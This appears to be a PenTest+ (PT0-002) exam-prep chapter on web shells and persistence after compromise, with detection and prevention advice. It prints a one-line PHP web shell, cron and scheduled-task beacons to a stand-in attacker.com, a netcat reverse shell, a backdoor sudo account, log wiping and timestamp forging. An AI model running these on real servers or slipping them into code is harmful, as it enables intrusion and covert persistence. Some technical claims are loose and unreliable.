This chapter covers web shells and techniques for maintaining access after an initial compromise, a critical topic for the PT0-002 exam under domain 'Attacks and Exploits' (Objective 3.2). Approximately 10-15% of exam questions touch on persistence mechanisms, including web shells, backdoors, and scheduled tasks. You will learn what web shells are, how they work, how to deploy them, how to detect them, and how to maintain access stealthily. Mastering these concepts is essential for both offensive penetration testing and defensive Blue Team operations.
Jump to a section
Imagine a large corporate office building with a main entrance that has a security guard checking IDs. A web shell is like a hidden, unguarded service door that an attacker installs in a remote corner of the building. Once that door is in place, the attacker can enter and exit at will without ever passing through the main entrance. The service door looks like any other door from the outside — it's disguised as a janitor's closet door — but the attacker has the only key. Inside, the door leads to a small room with a direct intercom to the building's main control panel (the server's command line). From that room, the attacker can issue commands to unlock other doors, turn off alarms, or access sensitive file cabinets. The guard at the main entrance never sees the attacker come or go, and the building's security cameras don't cover that corner. The attacker can also modify the service door's appearance over time to avoid detection, such as changing its handle or painting it a different color. This is exactly how a web shell works: it's a small script placed on a web server that provides a backdoor interface, often disguised as a legitimate file, allowing persistent remote access and command execution without triggering normal authentication logs.
What Are Web Shells?
A web shell is a malicious script uploaded to a web server that provides an attacker with remote access and command execution capabilities. It is typically written in a language supported by the server, such as PHP, ASP.NET, JSP, or Python. The web shell acts as a backdoor, allowing the attacker to interact with the server via HTTP requests, bypassing normal authentication and access controls. Web shells are a key persistence mechanism because they survive reboots and often evade detection by blending in with legitimate files.
Why Web Shells Are Used
Web shells are popular for several reasons: - Persistence: They remain on the server until manually removed, even after the initial vulnerability is patched. - Stealth: They can be disguised as legitimate files (e.g., image.php, admin.jsp) and often have low file sizes, making them hard to detect. - Functionality: They provide a web-based GUI or command-line interface to execute system commands, browse files, upload/download data, escalate privileges, and pivot to other systems. - Protocol Compliance: Traffic to and from the web shell uses standard HTTP/HTTPS, blending in with normal web traffic and evading network detection tools.
How Web Shells Work Internally
At the core, a web shell is a script that accepts user input (via GET or POST parameters) and passes it to a system execution function. For example, a simple PHP web shell might look like:
<?php system($_GET['cmd']); ?>When the attacker sends a request like:
http://target.com/shell.php?cmd=whoamiThe server executes the whoami command and returns the output in the HTTP response. More sophisticated web shells include a GUI with buttons, file managers, and database clients, but the underlying mechanism remains the same.
Key Components of a Web Shell
Input Handling: The shell reads user-supplied parameters (e.g., cmd, action, file) from the HTTP request.
Command Execution Function: Uses server-side functions like system(), exec(), shell_exec(), passthru() in PHP; Process.Start() in ASP.NET; Runtime.getRuntime().exec() in Java.
Output Display: The output of the executed command is captured and sent back to the attacker in the HTTP response.
File Upload/Download: Many shells include functions to upload files (using move_uploaded_file()) or download files (by reading and outputting file contents).
Database Connectivity: Some shells can connect to databases (MySQL, MSSQL) using built-in functions like mysqli_connect().
Deployment Methods
Attackers deploy web shells by exploiting vulnerabilities:
- File Upload Vulnerabilities: Uploading a malicious script through a file upload form that doesn't validate file type or contents. For example, uploading a .php file to a site that expects images.
- Remote File Inclusion (RFI): Including a remote file containing the web shell code via a vulnerable include parameter.
- SQL Injection: Using INTO OUTFILE to write a web shell to the web root if the database user has FILE privilege.
- Command Injection: Using command injection to download or create a web shell on the server.
- Vulnerable Plugins/Themes: Uploading a web shell disguised as a plugin or theme update in CMS like WordPress, Joomla, or Drupal.
Common Web Shell Tools
b374k: A feature-rich PHP shell with file manager, command execution, database browser, and network tools.
Weevely: A stealthy PHP web shell that communicates via HTTP headers and is designed for penetration testing. It generates a small agent file (usually < 2KB) that connects back to a controller.
C99 Shell: A popular PHP shell with a GUI, often used in automated attacks.
Antak: A web shell written in ASP.NET, part of the PowerShell Empire project, providing a web-based interface for PowerShell commands.
China Chopper: A small (4KB) PHP shell that uses a password-protected connection and is widely used in APT attacks.
Maintaining Access Beyond Web Shells
While web shells are powerful, attackers often combine them with other persistence mechanisms:
#### Scheduled Tasks / Cron Jobs
On Windows, attackers can create scheduled tasks to execute a payload at specific intervals or system events. Example command:
schtasks /create /tn "Updater" /tr "C:\Windows\System32\powershell.exe -EncodedCommand <base64>" /sc onlogon /ru SYSTEMOn Linux, cron jobs are used:
echo "* * * * * root /path/to/shell.sh" >> /etc/crontab#### Service Installation
Attackers can install a malicious service that runs automatically at boot. Example:
sc create Backdoor binPath= "C:\malware.exe" start= auto#### Registry Run Keys
On Windows, adding a registry entry in HKCU\Software\Microsoft\Windows\CurrentVersion\Run or HKLM\Software\Microsoft\Windows\CurrentVersion\Run ensures the payload runs at user logon.
#### SSH Keys
On Linux, adding an attacker's public key to ~/.ssh/authorized_keys allows persistent SSH access without passwords.
#### DLL Hijacking
Replacing a legitimate DLL with a malicious one that is loaded by a trusted application.
Detection and Prevention
Detection:
Monitor file integrity on web directories (e.g., using Tripwire or AIDE).
Look for anomalous files with extensions like .php, .asp, .jsp in upload directories.
Analyze web server logs for unusual parameters (e.g., ?cmd=, ?exec=).
Use web application firewalls (WAF) to block known web shell patterns.
Perform regular vulnerability scans and code reviews.
Prevention:
Validate file uploads strictly (type, size, content).
Disable dangerous PHP functions (system, exec, shell_exec, passthru, eval) in php.ini.
Use least privilege: web server processes should not have write access to web directories.
Keep software updated and patch vulnerabilities promptly.
Implement Content Security Policy (CSP) to restrict script execution.
Interacting with Related Technologies
Web shells often interact with:
- Reverse Shells: A web shell can be used to spawn a reverse shell for more interactive access. For example, using nc -e /bin/bash attacker_ip 4444.
- Port Forwarding: Tools like chisel or plink can be executed via web shell to tunnel traffic.
- Privilege Escalation: After gaining access via web shell, attackers may use local exploits (e.g., DirtyCow, EternalBlue) to gain higher privileges.
- Lateral Movement: The web shell can be used to pivot to internal networks using tools like proxychains or ssh -L.
Specific Values and Defaults
Default upload directory for many CMS: /wp-content/uploads/ (WordPress), /sites/default/files/ (Drupal).
Common web shell file names: shell.php, cmd.php, admin.php, up.php, config.php.bak.
PHP function disable list in php.ini: disable_functions = exec,system,passthru,shell_exec,proc_open,proc_close,proc_get_status,checkdnsrr,getmxrr,getservbyname,getservbyport, syslog,popen,show_source,highlight_file,dl,set_time_limit,mail,imap_open.
Typical web shell size: 1-5 KB for simple shells, up to 100 KB for feature-rich shells like b374k.
Verification Commands
After deploying a web shell, verify access:
curl -X GET "http://target.com/shell.php?cmd=id"Output should show the user ID (e.g., www-data).
To check if a web shell is present, look for unusual files:
find /var/www/html -name "*.php" -type f -size -10k | xargs grep -l "system\|exec\|passthru"Identify File Upload Vulnerability
The attacker scans the target web application for file upload functionality, often in user profile pictures, document uploads, or plugin updates. They test for insufficient validation by uploading a harmless file and then attempting to upload a PHP file (e.g., `test.php`) to see if it is accepted. If the server only checks the MIME type or extension superficially, the attacker can bypass by renaming `shell.php` to `shell.jpg` and using a proxy tool like Burp Suite to change the filename back to `.php` during upload. The attacker also checks the response and file path to confirm successful upload.
Upload Web Shell Script
Once a vulnerability is confirmed, the attacker uploads a web shell script. For a PHP server, they might use a minimal shell: `<?php system($_GET['cmd']); ?>`. The file is uploaded to a directory accessible via the web (e.g., `/uploads/`). The attacker may obfuscate the script using base64 encoding or splitting the payload across multiple requests to evade signature-based detection. They also set the file permissions to be executable if possible. After upload, they note the full URL to the shell.
Access Web Shell via HTTP Request
The attacker sends an HTTP GET request to the uploaded shell URL with a command parameter: `http://target.com/uploads/shell.php?cmd=id`. The server executes the `id` command and returns the output in the HTTP response body. The attacker verifies that the shell works by checking the returned UID (e.g., `uid=33(www-data)`). If the shell is password-protected, the attacker includes a password parameter (e.g., `?pwd=secret&cmd=id`). The attacker may also use POST requests to avoid logging in some servers.
Establish Persistence Mechanisms
With command execution, the attacker sets up additional persistence to survive server reboots or cleanup. On Linux, they add a cron job: `echo '* * * * * /usr/bin/curl http://attacker.com/beacon' | crontab -`. On Windows, they create a scheduled task: `schtasks /create /tn "Updater" /tr "powershell -c Invoke-WebRequest -Uri http://attacker.com/beacon" /sc minute /mo 1`. They may also create a new user account with admin privileges: `useradd -m -G sudo backdoor` and set a password. These steps ensure access even if the web shell is discovered.
Cover Tracks and Maintain Stealth
To avoid detection, the attacker clears logs: `cat /dev/null > /var/log/apache2/access.log`. They may also modify the web shell to blend in, such as naming it `wp-config.php` or `style.css.php`. They change file timestamps using `touch -r legitimate.php shell.php` to match other files. Additionally, they use encrypted communication (HTTPS) and avoid repetitive requests. The attacker may also install rootkits to hide processes and files. Regular beaconing intervals are randomized to avoid pattern detection.
In enterprise environments, web shells are a common tool for both penetration testers and malicious actors. For example, during a red team engagement, a tester discovers a file upload vulnerability in a company's intranet portal used for expense report attachments. The portal only checks the file extension on the client side, so the tester uses Burp Suite to intercept the upload, change the file extension from .jpg to .php, and upload a minimal web shell. The shell is stored in /var/www/intranet/uploads/. The tester then accesses the shell to execute commands, eventually escalating privileges via a misconfigured sudoers file and installing a cron job for persistence. The tester documents the findings for remediation.
In another scenario, a malicious attacker compromises a WordPress site running an outdated plugin. They upload a web shell disguised as a theme file (twentyseventeen/shell.php). The shell provides a file manager and command execution. The attacker uses it to deface the website, steal customer data, and install a cryptocurrency miner. The attacker also creates a new admin user in WordPress to maintain access even if the shell is deleted. The site's owner only discovers the breach after noticing high CPU usage from the miner.
A common misconfiguration that leads to web shell deployment is overly permissive file permissions on web directories. For instance, a server running Apache with www-data as the web user may have write access to /var/www/html/uploads/. If an attacker can upload a file there, they can execute it. In production, web directories should be owned by root with 755 permissions, and the web server should only have read access. Upload directories should be outside the web root or have script execution disabled via .htaccess:
<Directory "/var/www/html/uploads">
php_flag engine off
</Directory>Performance considerations: Web shells are lightweight, but frequent beaconing can increase server load and log size. Penetration testers should use controlled beacon intervals (e.g., every 5 minutes) to avoid disrupting production services. When misconfigured, web shells can lead to complete server compromise, data breaches, and legal liability.
The PT0-002 exam tests web shells and maintaining access under Objective 3.2: 'Given a scenario, exploit network vulnerabilities to gain access and maintain persistence.' You must know how to deploy web shells, common persistence mechanisms, and detection methods. Specific areas: - Web Shell Types: Be able to identify common web shells (b374k, Weevely, C99, China Chopper) and their primary language (PHP, ASP.NET, JSP). - Deployment Vectors: File upload, RFI, SQL injection INTO OUTFILE, command injection. - Persistence Techniques: Scheduled tasks, cron jobs, registry run keys, SSH keys, service installation. - Detection Evasion: Obfuscation, encryption, log clearing, file timestamp manipulation.
Common Wrong Answers: 1. 'Web shells only work on PHP servers' — Wrong; they can be written in any server-side language (ASP.NET, JSP, Python). 2. 'Web shells require outbound connectivity from the server' — Wrong; web shells operate on inbound HTTP requests, not outbound. Reverse shells require outbound, but web shells are inbound. 3. 'Deleting the web shell removes all attacker access' — Wrong; attackers often install multiple persistence mechanisms (cron jobs, user accounts). 4. 'Web shells are always detected by antivirus' — Wrong; custom or obfuscated shells can evade signature-based AV.
Specific Numbers and Terms:
Default PHP upload size: upload_max_filesize = 2M in php.ini.
Common web shell size: 1-5 KB.
PHP dangerous functions: system, exec, shell_exec, passthru, eval, assert.
Windows scheduled task creation: schtasks /create.
Linux cron format: * * * * * command.
Edge Cases:
If the web root is not writable, attackers may use SQL injection to write files to a writable directory outside web root, then use a file include vulnerability to execute it.
Some web shells use steganography or encode commands in HTTP headers to evade WAF.
In containerized environments, web shells may be ephemeral; attackers focus on persistence via host mounts or external C2.
Eliminate Wrong Answers:
If the question asks about 'persistence after reboot', look for answers involving cron, scheduled tasks, or services — not just a web shell.
If the question mentions 'stealth', avoid answers that involve frequent beaconing or large file transfers.
If the question is about 'detection', answers involving log analysis or file integrity monitoring are correct; network-based IDS may miss web shells due to encryption.
A web shell is a script uploaded to a web server that allows remote command execution via HTTP requests.
Common deployment vectors include file upload vulnerabilities, RFI, SQL injection, and command injection.
Persistence techniques beyond web shells include scheduled tasks, cron jobs, registry run keys, SSH keys, and service installation.
Detection methods: file integrity monitoring, web server log analysis, WAF rules, and disabling dangerous PHP functions.
Web shells can be written in PHP, ASP.NET, JSP, Python, and other server-side languages.
To evade detection, attackers obfuscate code, change file timestamps, clear logs, and use encrypted communication.
The PT0-002 exam tests knowledge of web shell deployment, persistence mechanisms, and detection evasion under Objective 3.2.
These come up on the exam all the time. Here's how to tell them apart.
Web Shell
Inbound connection: attacker connects to server via HTTP.
Uses standard web ports (80/443), blending with normal traffic.
Persistence is passive: shell remains until removed.
No need for outbound firewall rules.
Often limited to web server user privileges.
Reverse Shell
Outbound connection: server connects to attacker's listener.
Uses arbitrary ports (e.g., 4444), may be blocked by egress filters.
Persistence requires a mechanism to re-establish after disconnection.
Requires outbound firewall rule allowing connection.
Can provide interactive shell with full terminal features.
Mistake
A web shell is the same as a reverse shell.
Correct
A web shell is an inbound backdoor accessed via HTTP requests to the server, while a reverse shell initiates an outbound connection from the server to the attacker. They are different mechanisms; a web shell does not require the server to initiate connections.
Mistake
Web shells cannot be hidden in image files.
Correct
Attackers can embed PHP code in image metadata (EXIF) or append code after image data using file concatenation. The file remains a valid image but executes code when included as PHP.
Mistake
Removing the web shell completely removes the attacker's access.
Correct
Attackers often install multiple persistence mechanisms (cron jobs, SSH keys, user accounts). Removing only the web shell may leave other backdoors active.
Mistake
Web shells only work on Linux servers.
Correct
Web shells can be written in ASP.NET, JSP, or Python, making them effective on Windows, Java, and other platforms. They are not limited to PHP.
Mistake
Web shells are always detected by file integrity monitoring.
Correct
If the attacker modifies an existing legitimate file (e.g., adds code to index.php), the change may be detected. However, if the web shell is a new file that matches expected patterns (e.g., named like a plugin), it might be missed.
Reveal each answer, then mark whether you got it right. Score 60%+ to unlock the next chapter.
A web shell is a backdoor that listens for inbound HTTP connections; the attacker sends commands via HTTP requests and receives output in the response. A reverse shell is a payload that initiates an outbound connection from the compromised server to the attacker's listener, providing an interactive command prompt. Web shells are easier to deploy and blend with web traffic, while reverse shells offer more interactive control but require outbound connectivity.
Look for unusual files in web directories, especially with extensions like .php, .asp, .jsp that are not part of the application. Use file integrity monitoring tools (e.g., Tripwire, AIDE). Analyze web server logs for requests with parameters like `cmd`, `exec`, `action`. Check for files with suspicious content using `grep` for dangerous functions (system, exec, passthru). Also, monitor for unexpected outbound connections from the web server.
Yes. Once you have command execution via a web shell, you can run local privilege escalation exploits (e.g., CVE-2021-4034 for Linux, or JuicyPotato for Windows). The web shell typically runs as the web server user (e.g., www-data, IIS APPPOOL), which often has limited privileges. Escalation is necessary to gain full control of the system.
Implement strict file upload validation: check file extension, MIME type, and file content (magic bytes). Disable script execution in upload directories via .htaccess or web server configuration. Use a web application firewall (WAF) to block known web shell patterns. Keep software updated to prevent exploitation of known vulnerabilities. Apply the principle of least privilege: web server should not have write access to web directories.
Attackers use various techniques: naming the shell to resemble legitimate files (e.g., `wp-config.php.bak`), setting file timestamps to match other files, using rootkits to hide files, encoding the shell in base64 or using steganography, and splitting the shell across multiple files. Some shells are injected into legitimate files (e.g., adding PHP code to image files or CSS files).
Common tools include: b374k (PHP, feature-rich), Weevely (PHP, stealthy, generates small agent), C99 Shell (PHP, GUI), Antak (ASP.NET, part of PowerShell Empire), China Chopper (PHP, small, password-protected). These tools provide command execution, file management, database access, and often include features to evade detection.
Beyond the web shell itself, install persistence mechanisms: create a cron job (Linux) or scheduled task (Windows) to beacon back or reinstall the shell if deleted. Add SSH keys for remote access. Create a hidden user account with admin privileges. Modify startup scripts or services. Always have multiple fallback methods to ensure access survives reboots and cleanup.
You've just covered Web Shells and Maintaining Access — now see how well it sticks with free PT0-002 practice questions. Full explanations included, no account needed.
Done with this chapter?